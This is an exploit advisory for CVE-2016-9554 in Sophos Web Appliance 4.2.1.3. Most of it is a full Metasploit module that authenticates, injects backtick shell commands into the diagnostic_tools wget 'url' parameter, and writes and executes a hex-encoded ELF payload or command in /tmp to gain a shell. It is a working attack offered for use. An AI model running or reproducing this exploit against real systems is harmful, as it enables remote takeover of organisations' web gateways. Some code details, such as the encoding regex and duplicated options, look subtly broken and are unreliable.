Sophos Web Appliance 4.2.1.3 Remote Command Execution

2017.02.24
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerablity # Date: 12/12/2016 # Exploit Author: xort @ Critical Start # Vendor Homepage: www.sophos.com # Software Link: sophos.com/en-us/products/secure-web-gateway.aspx # Version: 4.2.1.3 # Tested on: 4.2.1.3 # # CVE : CVE-2016-9554 # vuln: diagnostic_tools command / host parameter / MgrReport.php exploit # Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. # # xort @ Critical Start require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Sophos Web Appliace <= v4.2.1.3 remote exploit', 'Description' => %q{ This module exploits a remote command execution vulnerability in the Sophos Web Appliace Version <= v4.2.1.3. The vulnerability exist in a section of the machine's adminstrative infertface for performing diagnostic network test with wget and unsanitized unser supplied information. }, 'Author' => [ 'xort@Critical Start', # vuln + metasploit module ], 'Version' => '$Revision: 1 $', 'References' => [ [ 'none', 'none'], ], 'Platform' => [ 'linux'], 'Privileged' => true, 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell' ], 'Privileged' => false, 'Payload' => { 'Compat' => { 'ConnectionType' => 'find', } }, 'Targets' => [ ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 0)) register_options( [ OptString.new('PASSWORD', [ false, 'Device password', "" ]), OptString.new('USERNAME', [ true, 'Device password', "admin" ]), OptString.new('CMD', [ false, 'Command to execute', "" ]), Opt::RPORT(443), ], self.class) end def do_login(username, password_clear) vprint_status( "Logging into machine with credentials...\n" ) # vars timeout = 1550; style_key = Rex::Text.rand_text_hex(32) # send request res = send_request_cgi( { 'method' => 'POST', 'uri' => "/index.php", 'vars_get' => { 'c' => 'login', }, 'vars_post' => { 'STYLE' => style_key, 'destination' => '', 'section' => '', 'username' => username, 'password' => password_clear, } }, timeout) return style_key end def run_command(username, style_password, cmd) vprint_status( "Running Command...\n" ) # send request with payload res = send_request_cgi({ 'method' => 'POST', 'vars_post' => { 'action' => 'wget', 'section' => 'configuration', 'STYLE' => style_password , 'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`', }, 'vars_get' => { 'c' => 'diagnostic_tools', }, }) end def exploit # timeout timeout = 1550; # params password_clear = datastore['PASSWORD'] user = datastore['USERNAME'] # do authentication style_hash = do_login(user, password_clear) vprint_status("STATUS hash authenticated: #{style_hash}\n") # pause to let things run smoothly sleep(5) #if no 'CMD' string - add code for root shell if not datastore['CMD'].nil? and not datastore['CMD'].empty? cmd = datastore['CMD'] # Encode cmd payload encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12') # kill stale calls to bdump from previous exploit calls for re-use run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20"#{encoded_cmd}"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" )) else # Encode payload to ELF file for deployment elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) encoded_elf = elf.unpack("H*").join().gsub(/(w)(w)/,'\\x12') # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload) run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}>%20/tmp/m;chmod%20%2brx%20/tmp/m;/tmp/m")) # wait for magic handler end end # sophox-release end


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